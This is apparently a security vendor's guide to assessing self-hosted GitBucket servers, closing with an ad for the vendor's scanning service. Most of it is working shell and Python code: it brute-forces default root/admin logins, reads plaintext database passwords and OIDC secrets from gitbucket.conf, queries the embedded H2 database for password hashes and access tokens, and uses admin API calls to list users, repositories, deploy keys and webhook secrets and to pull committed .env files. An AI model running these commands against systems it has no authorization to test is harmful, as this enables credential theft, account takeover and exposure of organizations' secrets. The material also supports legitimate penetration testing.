GitBucket is a self-hosted GitHub-compatible Git platform built on Scala/JVM — organizations use it as a lightweight alternative to Gitea or self-hosted GitLab. Key assessment areas: the root account defaults to root/root; gitbucket.conf exposes external database credentials when configured; the H2 embedded database file contains all user data and access tokens; the GitHub-compatible REST API v3 uses personal access tokens with no expiration by default; and repositories frequently contain CI/CD secrets committed to configuration files. This guide covers systematic GitBucket security assessment.
# GitBucket — gitbucket.conf credential and H2 database extraction
GB_URL="https://git.example.com"
# Test default root credentials
for CRED in "root:root" "admin:admin" "root:gitbucket" "admin:password"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${GB_URL}/signin" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "userName=${USER}&password=${PASS}" \
-c /tmp/gb_cookies -b /tmp/gb_cookies 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
# 302 redirecting to / = successful login
done
# gitbucket.conf — external database configuration
cat ~/.gitbucket/gitbucket.conf 2>/dev/null
# db.url=jdbc:postgresql://localhost/gitbucket <-- DB connection URL
# db.user=gitbucket
# db.password=... <-- plaintext database password
# oidc.client_secret=... <-- OAuth2/OIDC client secret if configured
python3 -c "
content = open('/root/.gitbucket/gitbucket.conf').read()
for line in content.splitlines():
if any(k in line.lower() for k in ['password', 'secret', 'key', 'url']):
print(line.strip())
" 2>/dev/null
# H2 embedded database — default GitBucket uses H2 at ~/.gitbucket/data/
ls -la ~/.gitbucket/data/DATABASE.mv.db 2>/dev/null
# This single file contains ALL GitBucket data
# Check for exposed H2 web console
curl -s -o /dev/null -w "%{http_code}" "http://git.example.com:8082/" 2>/dev/null
# 200 = H2 web console accessible unauthenticated
# Access H2 database via command line (with java in PATH)
java -jar /path/to/h2-*.jar -url "jdbc:h2:/root/.gitbucket/data/DATABASE" \
-user sa -password "" -sql "SELECT login, password FROM account LIMIT 20;" 2>/dev/null
# GitBucket REST API v3 — token enumeration and repository access
GB_URL="https://git.example.com"
# GitBucket implements GitHub API v3 at /api/v3/
# Authentication: Authorization: token ACCESS_TOKEN
# With extracted token or Basic auth
TOKEN="extracted-personal-access-token"
# Validate token and get user info
curl -s "${GB_URL}/api/v3/user" \
-H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print(f'User: {d.get(\"login\")} | Admin: {d.get(\"site_admin\")} | Email: {d.get(\"email\")}')
except: pass
" 2>/dev/null
# List all repositories (admin access)
curl -s "${GB_URL}/api/v3/admin/repos" \
-H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for r in d[:10]:
print(f' {r.get(\"full_name\")}: private={r.get(\"private\")} | {r.get(\"description\",\"\")[:50]}')
except: pass
" 2>/dev/null
# List all users (GitHub API compatible)
curl -s "${GB_URL}/api/v3/admin/users" \
-H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for u in d[:10]:
print(f' {u.get(\"login\")} | admin={u.get(\"site_admin\")}')
except: pass
" 2>/dev/null
# Clone any repository using token
# git clone http://root:TOKEN@git.example.com/org/repo.git
# Or using the API token in the URL:
# git clone http://api:TOKEN@git.example.com/org/repo.git
# Search for secrets in repository content via API
curl -s "${GB_URL}/api/v3/repos/org/repo/contents/.env" \
-H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys,base64
try:
d=json.load(sys.stdin)
content = base64.b64decode(d.get('content','')).decode('utf-8','ignore')
print(content[:500])
except: pass
" 2>/dev/null
# GitBucket — deploy key and webhook secret assessment
GB_URL="https://git.example.com"
TOKEN="extracted-admin-token"
# List all deploy keys across repositories
# Deploy keys are SSH keys with read (or write) access to specific repositories
curl -s "${GB_URL}/api/v3/repos/org/repo/keys" \
-H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for k in d:
print(f' Key ID: {k.get(\"id\")} | Title: {k.get(\"title\")} | Read-only: {k.get(\"read_only\")}')
print(f' Key: {k.get(\"key\",\"\")[:60]}...')
except: pass
" 2>/dev/null
# List webhooks (may reveal webhook secrets and target URLs)
curl -s "${GB_URL}/api/v3/repos/org/repo/hooks" \
-H "Authorization: token ${TOKEN}" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
for h in d:
config = h.get('config',{})
print(f' Hook: {config.get(\"url\")}')
print(f' Secret: {config.get(\"secret\",\"[not set]\")}')
print(f' Events: {h.get(\"events\")}')
except: pass
" 2>/dev/null
# Extract personal access tokens from H2 database
java -jar /path/to/h2-*.jar \
-url "jdbc:h2:/root/.gitbucket/data/DATABASE" \
-user sa -password "" \
-sql "SELECT a.login, a.password, t.token_id, t.token_name FROM account a LEFT JOIN access_token t ON a.user_name = t.user_name LIMIT 20;" 2>/dev/null
# Repository secret scanning via API — check .env, config files
for REPO in "org/app" "org/backend" "org/deploy"; do
for FILE in ".env" "config/database.yml" "docker-compose.yml" "kubernetes/secrets.yaml"; do
CONTENT=$(curl -s "${GB_URL}/api/v3/repos/${REPO}/contents/${FILE}" \
-H "Authorization: token ${TOKEN}" 2>/dev/null | \
python3 -c "import json,sys,base64; d=json.load(sys.stdin); print(base64.b64decode(d.get('content','')).decode('utf-8','ignore'))" 2>/dev/null)
[ -n "$CONTENT" ] && echo "=== ${REPO}/${FILE} ===" && echo "$CONTENT" | grep -iE "password|secret|key|token" | head -5
done
done
| Security Test | Method | Risk |
|---|---|---|
| root/root default credential — full admin access | POST /signin with root/root — site admin access; all repositories, user management, system settings, plugin installation | Critical |
| H2 DATABASE.mv.db direct file access | Read ~/.gitbucket/data/DATABASE.mv.db — complete platform database; all users, password hashes, access tokens, SSH keys, repository data | Critical |
| gitbucket.conf db.password extraction | Read ~/.gitbucket/gitbucket.conf — PostgreSQL/MySQL database password and optional OIDC client secret | High |
| Personal access token extraction and repository clone | H2/PostgreSQL SELECT token_id FROM access_token — permanent API tokens; repository clone, admin operations, SSH key management | High |
| Repository .env and config file secret extraction | GET /api/v3/repos/{org}/{repo}/contents/.env — base64-decoded file content; database passwords, API keys, and cloud credentials committed to repos | High |
Ironimo tests GitBucket deployments for root/root and admin/admin default credential brute-force at /signin, H2 DATABASE.mv.db file system access assessment, gitbucket.conf db.password and oidc.client_secret extraction, personal access token enumeration from the access_token table, admin API /api/v3/admin/ user and repository enumeration, repository content scanning for committed .env files and secrets across all accessible repos, deploy key enumeration with SSH key extraction, webhook secret disclosure, and H2 web console port 8082 unauthenticated exposure check.
Start free scan